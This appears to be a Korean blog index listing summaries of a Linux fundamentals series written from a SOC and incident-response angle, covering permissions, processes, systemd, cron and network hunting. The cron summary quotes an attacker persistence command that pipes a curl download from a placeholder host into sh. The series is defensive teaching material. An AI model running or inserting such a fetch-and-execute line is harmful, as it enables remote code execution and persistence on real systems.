리눅스 시스템 기초

Linux를 User·Application·Shell·System Call·Kernel·Hardware 계층으로 이해하고, /etc·/var/log·/proc 등 핵심 경로와 ps·ss 명령어를 보안관제(SOC) 관점에서 정리한 리눅스 시스템 기초 1편.

Linux 커널의 서브시스템, 커널 모듈(LKM), 버전 읽는 법과 백포트, tainted·sysctl 확인 방법을 정리하고, 모듈 로드 감사로 커널 루트킷 징후를 관제하는 방법까지 다룬 리눅스 시스템 기초 2편.

Bash 시작 파일 실행 순서, 명령어 확장, history 저장 방식을 정리하고, 시작 파일 지속성·이력 회피 같은 공격 흔적을 auditd와 함께 점검하는 방법을 다룬 리눅스 시스템 기초 3편.

프로세스별 가상 메모리, User/Kernel Mode 전환, 커널 스레드의 특징을 정리하고, 커널 스레드로 위장한 악성 프로세스를 PPID·exe로 찾아내는 방법을 다룬 리눅스 시스템 기초 4편.

System Call의 호출 경로를 strace로 관찰하고, auditd 규칙으로 민감 파일 접근·execve를 기록해 auid로 실제 사용자를 추적하는 방법까지 정리한 리눅스 시스템 기초 5편.

리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다. > 리눅스 시스템 기초 6 / 50 · Part 1. Linux 기본 구조 > 실습 환경: Rocky Linux 9 (10.0.0.200) · 비교: Ubuntu 22.04 > 이전 글: 5. Linux 시스템 호출(...

리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다. > 리눅스 시스템 기초 7 / 50 · Part 1. Linux 기본 구조 > 실습 환경: Rocky Linux 9 (10.0.0.200) · 비교: Ubuntu 22.04 > 이전 글: 6. Linux 파일 시스템 ...

리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다. > 리눅스 시스템 기초 14 / 50 · Part 2. 파일·명령어·권한 > 실습 환경: Rocky Linux 9 (10.0.0.200) · xfs > 이전 글: 13. Linux 파일 종류 > > 🔗 심화 시리즈...

리눅스 시스템 기초 8 / 50 · Part 1. Linux 기본 구조 > 실습 환경: Rocky Linux 9 (10.0.0.200) · VMware > 이전 글: 7. Linux 디렉터리 구조 1. 들어가며 서버 전원을 켜면 로그인 프롬프트가 뜨기까지 여러 단계

셸 변수와 환경변수, 상속 구조, PATH 검색과 sudo 환경 정책을 정리하고 PATH 하이재킹·LD_PRELOAD·/etc/ld.so.preload 악용을 점검하는 방법을 다룬 리눅스 시스템 기초 9편.

Part 1에서 배운 확인 명령을 6개 질문으로 묶어 서버 첫 접속 시 시스템 정보를 수집·해시 기록·기준값 비교하는 Triage 스크립트를 만든 리눅스 시스템 기초 10편.

표준 입출력 0·1·2와 파이프·리다이렉션의 동작, 2>&1 순서 차이, pipefail로 파이프 실패를 잡는 방법을 실제 실행 결과로 정리하고 분석 결과를 안전하게 기록하는 방법을 다룬 리눅스 시스템 기초 27편.

Bash 스크립트의 변수·조건·반복·함수·종료 코드와 set -euo pipefail 등 안전 원칙을 정리하고, SSH 인증 로그 요약 리포트 스크립트를 직접 작성·검증한 리눅스 시스템 기초 28편.

패킷이 NIC→netfilter→TCP/UDP→소켓→프로세스로 전달되는 경로와 각 계층에서 남는 흔적, ip addr·ip route로 기본 구성을 확인하는 방법.

실제 tcpdump로 캡처한 TCP 3-way handshake와 TIME-WAIT, 포트·사설 IP의 의미, SYN 스캔·SYN flood를 판단하는 관제 관점.

리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다. > 리눅스 시스템 기초 11 / 50 · Part 2. 파일·명령어·권한 > 실습 환경: Rocky Linux 9 (10.0.0.200) > 이전 글: 10. Linux 시스템 정보 확인 > > 🔗 심화 시리즈 —...

리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다. > 리눅스 시스템 기초 12 / 50 · Part 2. 파일·명령어·권한 > 실습 환경: Rocky Linux 9 (10.0.0.200) · Apache httpd > 이전 글: 11. Linux 파일과 디렉터리 관리...

리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다. > 리눅스 시스템 기초 13 / 50 · Part 2. 파일·명령어·권한 > 실습 환경: Rocky Linux 9 (10.0.0.200) > 이전 글: 12. 절대경로와 상대경로 > > 🔗 심화 시리즈 — 「파일 ...

리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다. > 리눅스 시스템 기초 22 / 50 · Part 3. Linux 명령어 활용 > 실습 환경: Rocky Linux 9 (10.0.0.200) · 실습용 파일 구조 ~/lab/fs (아래 생성 스크립트) > 이전 글:...

「파일 · 권한 · 사용자 관리」 시리즈의 첫 글이다. 이 시리즈는 Linux 파일 시스템, 파일 권한, 소유권, 사용자·그룹, sudo, ACL, 특수 권한을 단계적으로 다루고, 마지막에는 보안관제(SOC) 관점에서 권한 변경과 권한 상승 흔적을 분석 하는 실습으

01편에서 파일은 이름 + inode + 데이터 블록 으로 이루어진다는 것을 확인했다. 이번 글은 한 단계 아래로 내려가 다음 질문에 답한다.

Linux 서버에서 침해사고를 조사할 때 가장 먼저 필요한 능력은 "이 파일이 이 위치에 있는 것이 정상인가?" 를 판단하는 것이다. /usr/bin/sshd는 정상이지만 /tmp/.X11/sshd는 의심스럽다. 이 판단의 기준이 디렉터리 구조다.

경로는 Linux에서 파일을 가리키는 주소다. 명령어 대부분이 경로를 인자로 받기 때문에 너무 익숙해서 가볍게 넘기기 쉽지만, 보안 관점에서 경로는 두 가지 공격과 직접 연결된다.

pwd와 ls는 Linux를 처음 배울 때 가장 먼저 쓰는 명령이다. 그런데 서버 점검이나 침해 조사에서 이 두 명령을 "제대로" 쓰는 사람은 생각보다 적다.

cd는 너무 단순해 보여서 따로 공부할 대상이 아닌 것 같다. 하지만 cd에는 Linux 프로세스와 권한 모델의 핵심이 두 가지 들어 있다.

mkdir은 디렉터리를 만든다. 여기까지는 누구나 안다. 그런데 새 디렉터리의 권한은 누가 정하는가? 라는 질문에는 답이 바로 나오지 않는다.

touch는 보통 "빈 파일을 만드는 명령"으로 소개된다. 하지만 이름 그대로 touch의 본래 목적은 파일의 시간을 건드리는 것 이다. 파일이 없으면 만들고, 있으면 시간을 현재로 갱신하며, 옵션을 주면 임의의 과거 시간 으로도 바꿀 수 있다.

cp는 파일을 복사한다. 그런데 "복사"의 정확한 의미는 새 파일(새 inode)을 만들고 내용을 옮겨 쓰는 것 이다. 내용은 같아도 소유자·권한·시간은 옵션에 따라 원본과 달라진다.

Part 1의 마지막 글이다. 지금까지 파일은 이름 → inode → 데이터 블록 구조이고, 이름은 디렉터리에, 속성은 inode에 있다는 것을 확인했다. 이 구조를 이해하면 mv와 rm이 무엇을 하는지 정확히 설명할 수 있다.

Part 2 「Linux 파일 종류와 속성」을 시작한다. Part 1에서 파일이 이름·inode·데이터 블록으로 이루어진다는 것을 봤다면, Part 2는 inode에 저장된 속성 을 하나씩 해석한다. 그 첫 번째가 파일 종류(file type) 다.

ls -l은 Linux 관리자와 보안 분석가가 매일 보는 출력이다. 이 한 줄에는 inode의 핵심 정보 대부분 이 압축되어 있다.

01편과 02편에서 inode를 "파일의 메타데이터를 담은 구조체"라고 소개했다. 이번 글에서는 inode를 직접 열어 본다. debugfs로 ext4 inode의 실제 필드를 확인하고, inode가 가진 정보와 가지지 않은 정보를 구분한다.

13편에서 inode에는 이름이 없고 이름은 디렉터리 엔트리에 있다는 것을 확인했다. 그렇다면 하나의 inode에 이름을 두 개 붙일 수 있을까? 가능하다. 그것이 하드 링크다. 반면 심볼릭 링크는 이름이 아니라 "대상 경로를 적어 둔 작은 파일" 이다.

08편에서 touch로 atime·mtime은 조작할 수 있지만 ctime은 조작할 수 없다는 것을 확인했다. 이번 글에서는 네 가지 타임스탬프를 정식으로 정리한다.

지금까지 inode(13편), 링크(14편), 타임스탬프(15편)를 각각 확인했다. 이 정보를 한 번에 보여 주는 명령 이 stat이다. 침해 조사에서 의심 파일을 발견하면 가장 먼저 실행하는 명령 중 하나이기도 하다.

Windows에서는 확장자가 파일 형식을 결정한다. .exe를 .txt로 바꾸면 더블클릭해도 실행되지 않는다. Linux는 다르다. 확장자는 사람과 일부 응용 프로그램을 위한 힌트일 뿐이고, 커널과 대부분의 도구는 파일 내용 으로 형식을 판단한다.

17편에서 Linux는 확장자가 아니라 내용으로 파일 형식을 판단하고, 그 판정 도구가 file이라는 것을 확인했다. 이번 글에서는 file이 어떻게 형식을 알아내는지를 파고든다.

Part 2의 거의 마지막 글이다. 공격자는 파일을 시스템에 남기면서 눈에 띄지 않게 하려 한다. Linux에서 가장 흔한 방법은 두 가지다.

Part 2의 마지막 글이다. 지금까지 파일의 종류·속성·시간·형식·은닉을 다뤘다. 이제 마지막 질문은 이것이다.

리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다. > 리눅스 시스템 기초 15 / 50 · Part 2. 파일·명령어·권한 > 실습 환경: Rocky Linux 9 (10.0.0.200) · 비교: Ubuntu 22.04 > 이전 글: 14. inode와 파일 시스템...

리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다. > 리눅스 시스템 기초 16 / 50 · Part 2. 파일·명령어·권한 > 실습 환경: Rocky Linux 9 (10.0.0.200) > 이전 글: 15. Linux 파일 권한 이해 > > 🔗 심화 시리즈 — ...

리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다. > 리눅스 시스템 기초 17 / 50 · Part 2. 파일·명령어·권한 > 실습 환경: Rocky Linux 9 (10.0.0.200) · Apache httpd > 이전 글: 16. chmod와 권한 관리 > >...

Part 3 「Linux 파일 권한」을 시작한다. 파일 권한은 Linux 보안의 가장 기본 방어선이고, 침해사고의 상당수가 권한 설정 실수에서 출발한다.

21편에서 권한은 r·w·x 세 비트라고 했다. 그런데 이 세 비트는 파일과 디렉터리에서 전혀 다른 것을 의미 한다. 이 차이를 정확히 모르면 다음과 같은 상황을 설명할 수 없다.

권한을 바꾸는 명령이 chmod(change mode)다. chmod에는 두 가지 표기법이 있다.

23편에서 기호 방식(u+x)을 다뤘다. 이번 글은 실무에서 더 자주 쓰는 숫자 방식 이다. chmod 755 file처럼 세 자리 8진수로 권한 전체를 한 번에 지정한다.

touch로 파일을 만들면 권한이 644, mkdir로 디렉터리를 만들면 755가 된다(Rocky 기준). 이 기본 권한은 누가 정할까? umask 다.

권한(rwx)이 "누가 무엇을 할 수 있는가"라면, 소유권은 "이 파일이 누구 것인가"다. 소유자는 권한을 바꿀 수 있는 사람이므로, 소유권은 권한 체계의 뿌리다.

그룹은 여러 사용자에게 같은 권한을 한 번에 부여 하는 수단이다. 개발팀 5명이 같은 디렉터리를 공유해야 한다면, 5개의 개별 권한 대신 그룹 하나로 관리한다.

일반 사용자가 passwd로 자기 비밀번호를 바꾸면, 그 정보는 /etc/shadow에 저장된다. 그런데 /etc/shadow는 root만 쓸 수 있다(보통 000 또는 640 root:shadow). 일반 사용자가 어떻게 root 전용 파일을 수정할 수 있을까?

SGID(Set Group ID)는 SUID(28편)의 그룹 버전이다. 하지만 파일에 붙었을 때와 디렉터리에 붙었을 때 동작이 전혀 다르다. 이 차이를 구분하지 못하면 그룹 협업 디렉터리를 제대로 구성할 수 없다.

Part 3의 마지막 글이다. /tmp는 시스템의 모든 사용자가 파일을 만들 수 있는 공용 디렉터리다(권한 1777). 그런데 22편에서 배웠듯 파일 삭제 권한은 상위 디렉터리의 w에서 나온다. 그렇다면 누구나 쓸 수 있는 /tmp에서는 누구나 남의 파일을 삭제 할

리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다. > 리눅스 시스템 기초 18 / 50 · Part 2. 파일·명령어·권한 > 실습 환경: Rocky Linux 9 (10.0.0.200) · 비교: Ubuntu 22.04 > 이전 글: 17. chown과 파일 소유권...

리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다. > 리눅스 시스템 기초 19 / 50 · Part 2. 파일·명령어·권한 > 실습 환경: Rocky Linux 9 (10.0.0.200) · 비교: Ubuntu 22.04 > 이전 글: 18. Linux 사용자와 그룹...

Part 4 「사용자와 그룹 관리」를 시작한다. Part 3에서 권한(rwx)과 소유자·그룹을 다뤘다면, Part 4는 그 주체인 사용자와 그룹 자체 를 파고든다.

31편에서 계정이 UID·사용자명·GID·홈·셸로 이루어진다고 했다. 이 정보가 실제로 저장되는 파일이 /etc/passwd다.

32편에서 /etc/passwd에는 비밀번호 해시가 없고 /etc/shadow를 참조한다고 했다. 이번 글에서 그 /etc/shadow를 연다.

27편에서 그룹이 여러 사용자에게 권한을 한 번에 주는 수단이라고 했다. 그 그룹 정보가 저장되는 파일이 /etc/group이다.

지금까지 계정 정보가 저장되는 파일들(passwd·shadow·group)을 봤다. 이번 글에서는 그 파일들을 한 번에 채우는 명령, useradd를 다룬다.

35편에서 useradd로 계정을 만들었다. 이번 글은 기존 계정을 변경 하는 usermod다.

계정을 삭제하면 그 사용자가 만든 파일은 어떻게 될까? 많은 사람이 "함께 사라진다"고 생각하지만 그렇지 않다. userdel은 계정 정보(passwd·shadow·group)와, -r을 주면 홈 디렉터리만 지운다. 시스템 곳곳에 흩어진 그 사용자의 파일은 그대로

27편·34편에서 그룹의 개념과 구조를 봤다. 이번 글에서는 그룹을 생성·변경·삭제 하는 명령 체계를 정리한다.

34편에서 기본 그룹과 보조 그룹의 정의 를 봤다. 이번 글에서는 로그인 세션에서 이 둘이 실제로 어떻게 작동하는지 를 다룬다.

Part 4의 마지막 글이다. 지금까지 사용자·그룹의 구조와 관리 명령을 다뤘다. 이번 글에서는 특별한 계정들 — root와 시스템 계정 — 을 정리한다.

Part 5 「권한 상승과 Linux 보안」을 시작한다. Part 4까지 계정과 그룹을 다뤘다면, Part 5는 그 계정들이 어떻게 더 높은 권한을 얻는가, 그리고 그것을 어떻게 점검·탐지하는가 를 다룬다. SOC 분석가의 핵심 업무 영역이다.

41편에서 sudo가 sudoers 규칙에 따라 명령을 허용한다고 했다. 이번 글에서는 그 규칙 파일 /etc/sudoers를 다룬다.

42편에서 sudoers로 특정 명령만 허용할 수 있다고 했다. 그런데 "특정 명령만 허용"이 안전을 보장하지 않는다. 허용된 명령이 하위 명령이나 셸을 실행할 수 있으면, 그 하위 명령도 root 권한으로 실행되어 완전한 권한 상승이 된다.

지금까지 다룬 권한 체계(9비트)에는 근본적인 한계가 있다. 주체가 소유자·그룹·기타 셋뿐 이다. "이 파일을 특정 사용자 한 명에게만 읽기 허용"은 9비트로 표현할 수 없다. 그 사용자를 위한 그룹을 따로 만들어야 한다.

리눅스 시스템 기초 · 입문편 — 본문의 "N편"은 입문 과정 번호다. 번호별 글과 전체 250편 구성은 통합 로드맵에서 확인할 수 있다. > 리눅스 시스템 기초 20 / 50 · Part 2. 파일·명령어·권한 (마무리) > 실습 환경: Rocky Linux 9 (10.0.0.200) > 이전 글: 19. sudo와 su > > 🔗 심화 시리즈 — ...

지금까지 배운 권한·소유권·특수 권한·sudo·ACL은 모두 하나의 원칙을 향한다. 최소 권한 원칙(Principle of Least Privilege) 이다.

45편의 최소 권한 원칙을 어기는 가장 흔하고 위험한 사례가 world-writable — 누구나 쓸 수 있는(other에 w) 파일과 디렉터리다. 문제 해결을 위해 chmod 777을 남발하는 습관에서 주로 생긴다.

28편에서 SUID가 권한 상승의 핵심이라고 했고, 46편에서 world-writable SUID의 위험을 봤다. 이번 글은 SUID/SGID 파일을 체계적으로 점검 하는 방법이다.

47편이 파일(SUID) 측면의 점검이었다면, 이번 글은 계정 측면의 종합 점검 이다. Part 4에서 배운 계정 지식을 하나의 점검 체크리스트로 묶는다.

48편에서 백도어 계정과 이상 권한을 찾았다. 이제 질문은 "언제, 누가 이것을 만들었는가" 다. 답은 로그에 있다.

「파일 · 권한 · 사용자 관리」 시리즈의 마지막 글이다. 지금까지 50편에 걸쳐 배운 모든 것 — 파일 구조, 속성, 권한, 소유권, 사용자·그룹, sudo, ACL, 권한 상승, 보안 점검 — 을 하나의 침해 시나리오 로 연결한다.

프로그램과 프로세스, PID·PPID·상태(R·S·D·T·Z), 프로세스와 스레드의 차이를 실습 출력으로 정리하고 관제에서 보는 이상 신호를 짚는다.

fork·exec·wait로 이어지는 부모-자식 관계, 고아와 좀비를 재현하고 httpd→sh 같은 의심 프로세스 트리를 찾는 방법을 정리한다.

ps aux와 ps -ef의 차이, 컬럼의 의미, -o 맞춤 출력으로 웹셸·채굴기·이름 위장 프로세스를 찾는 헌팅 방법을 정리한다.

top 상단 5줄(load average, us·sy·wa·st, avail Mem)을 정확히 읽고 채굴·I/O 이상 같은 자원 기반 침해 징후를 판단하는 방법.

SIGTERM·SIGKILL·SIGSTOP의 차이, trap과 nohup, 종료 코드 137의 의미, 증적을 지키는 STOP→수집→KILL 대응 순서를 실습으로 정리한다.

「서비스 · 프로세스 관리」 시리즈의 첫 글이다. 이 시리즈는 프로세스가 만들어지고 실행되고 종료되는 원리에서 출발해 시그널, 자원 제한, systemd 서비스, cron·timer 스케줄링을 차례로 다루고, 마지막 Part 5에서는 보안관제(SOC) 관점에서 의심…

01편에서 프로세스는 "실행 중인 프로그램의 인스턴스"라고 정리했다. 그렇다면 셸에서 ls를 입력했을 때 새 프로세스는 정확히 어떻게 만들어질까? Linux는 이 일을 두 단계로 나눈다. 먼저 fork()로 자신을 복제하고, 그 복제본이 execve()로 다른 프로…

02편에서 모든 프로세스는 fork로 태어난다는 것을 확인했다. 그렇다면 모든 프로세스에는 부모가 있고, 부모의 부모를 계속 따라가면 하나의 뿌리 에 도달한다. 그 뿌리가 PID 1, 현대 Linux에서는 systemd 다.

ps aux를 실행하면 STAT 열에 Ss, R+, S<s, Z 같은 알 수 없는 문자가 보인다. 이 한두 글자가 프로세스가 지금 무엇을 하고 있는지 를 알려 준다. CPU를 쓰는 중인지, 무언가를 기다리는지, 멈춰 있는지, 이미 죽었는데 치워지지 않았는지다.

ps, top, pgrep, lsof는 서로 다른 도구처럼 보이지만 정보의 출처는 같다. 바로 /proc 가상 파일 시스템 이다. 도구가 없는 최소 설치 서버나 도구 자체가 변조됐을 가능성이 있는 침해 서버에서는 /proc을 직접 읽는 능력이 결정적인 차이를 만든다.

ps는 가장 많이 쓰는 프로세스 명령어지만, 옵션 문법이 세 가지(BSD·UNIX·GNU)나 섞여 있어 "외워서 쓰는" 경우가 많다. ps aux와 ps -ef는 무엇이 다른지, 긴 명령어가 왜 잘리는지, 원하는 열만 뽑아 정렬하려면 어떻게 하는지를 정리해 두면 관…

ps가 "한 장의 사진"이라면 top은 실시간 영상 이다. 서버가 느려졌다는 연락을 받았을 때, 또는 CPU 사용률 경보가 울렸을 때 가장 먼저 여는 도구가 top이다. 하지만 화면에 숫자가 너무 많아 load average와 %Cpu, 메모리의 free와 avai…

"서버에 좀비 프로세스가 수백 개 있는데 kill -9로도 안 지워집니다." 운영 현장에서 자주 듣는 질문이다. 좀비는 이미 죽은 프로세스이기 때문에 죽일 수 없다. 해결책은 좀비가 아니라 그 부모 에 있다.

백업이나 로그 압축처럼 CPU를 많이 쓰지만 급하지 않은 작업이 웹 서비스와 같은 서버에서 돌면 서비스 응답이 느려진다. 이럴 때 쓰는 가장 간단한 도구가 nice 값 이다. nice는 "이 프로세스는 CPU를 다른 프로세스에게 양보해도 된다"는 표시다.

SSH로 접속해 오래 걸리는 작업을 &로 백그라운드에 걸어 두고 로그아웃했는데, 다음 날 보니 작업이 중간에 죽어 있었다. 반대로 공격자가 남겨 둔 프로세스는 로그아웃 후에도 멀쩡히 살아 있다. 이 차이는 세션, 프로세스 그룹, SIGHUP 을 이해하면 설명된다.

Part 2 「시그널·자원·세션」을 시작한다. Part 1에서 SIGHUP(로그아웃), SIGSTOP(정지), SIGCHLD(자식 종료)가 여러 번 등장했다. 이 모두가 시그널(Signal) 이다. 시그널은 프로세스에게 "무언가 일어났다"를 알리는 커널의 가장 기본…

11편에서 시그널이 무엇인지 봤다. 이번에는 시그널을 보내는 도구 다. kill, pkill, killall은 모두 시그널을 보내지만 대상을 고르는 방식이 다르고, 그 차이 때문에 실무 사고가 난다. "java 프로세스 하나를 끄려다 서버의 모든 java를 껐다",…

"안 죽으면 kill -9." 가장 많이 퍼진 습관이자 가장 위험한 습관이다. SIGKILL은 프로세스에게 정리할 기회를 전혀 주지 않는다. 데이터베이스는 쓰던 데이터를 버리고, 애플리케이션은 락 파일을 남기고, 임시 파일이 쌓인다. 반면 SIGTERM은 "이제 끝…

점검 스크립트나 백업 스크립트는 임시 파일과 락 파일을 만든다. 스크립트가 끝까지 잘 돌면 마지막 줄에서 지우면 되지만, 누군가 Ctrl+C를 누르거나 systemctl stop으로 종료하면 정리 코드가 실행되지 않고 파일이 남는다. 남은 임시 파일에는 수집한 계정…

"로그 파일을 지웠는데 디스크 사용률이 그대로입니다." 운영에서 매우 흔한 장애 문의다. 원인은 거의 항상 같다. 어떤 프로세스가 그 파일을 아직 열고 있다. 이 상황을 이해하려면 프로세스가 파일을 다루는 단위인 파일 디스크립터(fd) 를 알아야 한다.

방화벽 로그에서 서버가 낯선 IP의 4444번 포트로 접속한 기록이 발견되었다. 관제 요원이 가장 먼저 답해야 할 질문은 "그 연결을 만든 프로세스는 무엇인가?" 다. IP와 포트만으로는 대응할 수 없고, 프로세스를 알아야 실행 파일·계정·부모를 추적할 수 있다.

free의 available, 캐시·스왑·OOM Killer 순서, vmstat 읽기, 서비스 강제 종료가 OOM인지 외부 kill인지 구분하는 방법.

df와 du의 차이, inode 고갈, 삭제했지만 열린 파일(lsof +L1) 재현, /var 가득 참이 로그 공백으로 이어지는 관제 관점 정리.

트래픽이 몰린 날 웹 서버 로그에 Too many open files가 쏟아지고, 누군가 서버에서 fork bomb을 실행해 SSH 접속조차 안 되는 상황. 두 장애 모두 프로세스 자원 한도(resource limit) 와 관련이 있다. 한도가 너무 낮으면 정상 서…

17편의 ulimit은 프로세스 하나 의 한도였다. 하지만 실제 서비스는 여러 프로세스로 이루어지고, 우리가 막고 싶은 것은 "이 서비스 전체가 CPU를 20% 이상 쓰지 못하게", "이 서비스는 메모리를 1GB까지만" 같은 묶음 단위의 제한 이다. 이를 담당하는…

ps -ef를 실행하면 TTY 열이 pts/0인 프로세스와 ?인 프로세스가 섞여 있다. ?는 제어 터미널이 없는 프로세스, 대부분은 데몬이다. sshd, crond, journald 같은 시스템 데몬이 여기에 속한다. 그런데 공격자가 남긴 백도어도 같은 모습이다.

새벽에 DB 서비스가 갑자기 죽었다. 애플리케이션 로그에는 아무 오류도 없고, 프로세스는 흔적 없이 사라졌다. 이런 "조용한 죽음"의 가장 흔한 원인이 OOM Killer(Out Of Memory Killer) 다. 메모리가 바닥나면 커널은 시스템 전체가 멈추는 것…

systemd Unit 종류와 파일 위치·우선순위, enable의 실체, cgroup, 그리고 악성 서비스로 지속성을 확보하는 지점과 헌팅 방법.

active와 enabled의 차이, restart·reload·daemon-reload, status의 종료 원인(signal=KILL) 읽기로 장애와 공격을 구분하는 방법.

Part 3 「systemd와 서비스」를 시작한다. Part 1·2를 지나오는 동안 PID 1은 여러 번 등장했다. 모든 프로세스의 조상(03편), 고아의 새 부모(08편), 서비스를 멈추고 다시 띄우는 주체(13편), cgroup을 만드는 관리자(18편). 그 P…

21편에서 systemd가 관리하는 대상을 unit이라고 했다. 그런데 unit 파일은 한곳에 있지 않다. 패키지가 설치한 원본은 /usr/lib에, 관리자가 만든 것은 /etc에, 실행 중 만들어진 임시 unit은 /run에 있다. 같은 이름의 unit이 여러 곳…

systemctl start, enable, restart, reload는 매일 쓰는 명령이지만, 각각이 정확히 무엇을 바꾸는지 는 헷갈리기 쉽다. "enable 했는데 서비스가 안 떠요", "restart와 reload의 차이가 뭔가요", "서비스를 확실히 못 뜨…

관제 대시보드에 "서비스 이상" 경보가 떴다. systemctl status를 열면 loaded, active (exited), failed (Result: exit-code), status=203/EXEC 같은 값이 한 화면에 쏟아진다. 이 값들을 정확히 읽을 수…

10편에서 "운영 작업은 nohup 대신 systemd 서비스로 관리하라"고 했다. 이번 글에서 그 방법을 직접 실습한다. 간단한 Python 웹 앱을 만들고, 이를 root가 아닌 전용 계정으로 실행되고, 죽으면 다시 살아나고, 부팅 시 자동으로 시작되는 syst…

재부팅 후 웹 앱이 "DB 연결 실패"로 죽어 있었다. unit 파일에는 분명 Requires=mariadb.service가 적혀 있었는데 왜 이런 일이 생겼을까? 답은 Requires는 "함께 띄워라"일 뿐 "먼저 띄워라"가 아니기 때문 이다. systemd는 가…

SysV init 시절에는 서버가 몇 번 runlevel로 부팅되는지가 중요했다. 3이면 텍스트 서버, 5면 그래픽 데스크톱, 1이면 단일 사용자 복구 모드. systemd에서는 이 개념이 target 으로 바뀌었다. target은 "이 상태에 도달하려면 무엇이 켜…

nginx의 파일 한도를 올리거나 서비스에 환경변수 하나를 추가하려고 /usr/lib/systemd/system/nginx.service를 직접 고쳤다. 몇 주 뒤 패키지 업데이트가 설치되자 변경 사항이 사라지고 장애가 재발했다. 패키지가 원본 파일을 덮어썼기 때문…

서비스가 가끔 죽는다면 사람이 매번 재시작할 수는 없다. systemd의 Restart= 정책은 서비스가 비정상 종료했을 때 자동으로 다시 띄워 가용성을 지킨다. 하지만 설정 오류처럼 몇 번을 재시작해도 실패하는 경우에는 무한 반복이 오히려 시스템을 괴롭히므로, s…

웹 서버에 원격 코드 실행 취약점이 터졌다. 공격자가 얻는 권한은 그 서비스가 실행 중이던 계정의 권한 이다. 서비스가 root로 돌고 있었다면 한 번의 취약점으로 서버 전체가 넘어가고, 전용 계정으로 돌고 있었다면 공격자는 그 계정의 작은 권한 안에 갇힌다.

Part 4 「로그·스케줄링·운영」을 시작한다. 지금까지 거의 모든 편에서 journalctl -u 서비스로 로그를 확인했다. systemd 환경에서 서비스 출력, 인증 로그, sudo 기록, 커널 메시지는 모두 journald 에 모인다. 보안관제 요원에게 jou…

침해 사고 조사에서 가장 허무한 상황은 "로그가 없다"는 것이다. 공격자가 지웠을 수도 있지만, 의외로 흔한 원인은 처음부터 로그가 디스크에 저장되지 않았던 경우 다. journald는 설정과 디렉터리 유무에 따라 로그를 메모리(/run)에만 두기도 하는데, 이 경…

crontab 문법과 모든 설정 위치, RHEL /var/log/cron과 Ubuntu syslog의 실행 기록, cron 기반 지속성 탐지 방법을 정리한다.

백업, 로그 정리, 인증서 갱신 같은 반복 작업은 오랫동안 cron 이 맡아 왔다. 그리고 같은 이유로 cron은 공격자가 가장 즐겨 쓰는 지속성 수단이기도 하다. curl http://x/y | sh 한 줄이면 매분 악성 코드를 다시 내려받는다.

33편의 crontab은 사용자별 작업이었다. 서버에는 이와 별도로 패키지와 관리자가 등록하는 시스템 cron 이 있다. 로그 로테이션, 패키지 캐시 정리, 파일 시스템 점검 같은 작업이 여기서 돈다. 그런데 이 영역은 파일이 여러 디렉터리에 흩어져 있고 배포판마다…

34편에서 Ubuntu의 e2scrub_all cron 작업이 "systemd 환경이면 실행하지 않는다"는 조건을 달고 있었다. 같은 작업을 systemd timer 가 대신하기 때문이다. 최근 배포판은 로그 로테이션, 임시 파일 정리, 패키지 캐시 갱신 같은 시스…

"오늘 밤 11시에 한 번만 서비스를 재시작해 주세요." 이런 일회성 작업에 cron을 쓰면 실행 후 등록을 지우는 것을 잊기 쉽다. 이럴 때 쓰는 도구가 at 이다. at은 지정한 시각에 딱 한 번 명령을 실행하고 스스로 정리된다.

16편에서 Ubuntu의 22번 포트를 sshd와 PID 1(systemd) 이 함께 쥐고 있는 것을 보았다. 22편에서는 그 이유가 ssh.socket이라는 unit이라는 것까지 확인했다. 이 구조를 소켓 활성화(socket activation) 라고 한다. sy…

30편에서 서비스를 root가 아닌 계정으로 실행하는 것만으로도 피해 범위가 크게 줄어든다는 것을 확인했다. 그러나 전용 계정이라도 읽을 수 있는 파일은 모두 읽고, 쓸 수 있는 곳에는 쓸 수 있다. 웹 앱이 탈취되면 공격자는 그 계정으로 /home을 뒤지고, /t…

Part 3·4에서 systemd unit, timer, cron, anacron, at, socket unit을 차례로 다뤘다. 이들의 공통점은 사람이 명령하지 않아도 무언가를 실행한다 는 것이다. 여기에 로그인할 때 읽히는 셸 초기화 파일과 사용자 systemd…

Part 4의 마지막 글이다. 지금까지 상태 해석(24편), 로그 분석(31편), 포트·소켓(16편), 권한(30편), 재시작 정책(29편)을 따로 배웠다. 실제 장애 현장에서는 이 도구들을 정해진 순서대로 써야 빠르게 원인에 도달한다. 순서 없이 재시작만 반복하면…

소켓이 파일 디스크립터라는 의미를 /proc/PID/fd와 ss inode로 확인하고, 쉘의 fd가 소켓을 가리키는 리버스 쉘을 찾는 방법.

ss -tulnp 출력의 각 칸 읽기, 127.0.0.1과 0.0.0.0 바인딩 판단, 외부 연결·백도어 포트 헌팅과 ip 명령어 정리.

Part 5 「보안과 SOC」를 시작한다. Part 1~4에서 프로세스의 구조(exe, cwd, PPID, 세션, cgroup, fd, 소켓)와 서비스·예약 작업의 동작을 배웠다. 이제 이 지식을 관제 판단 에 쓴다.

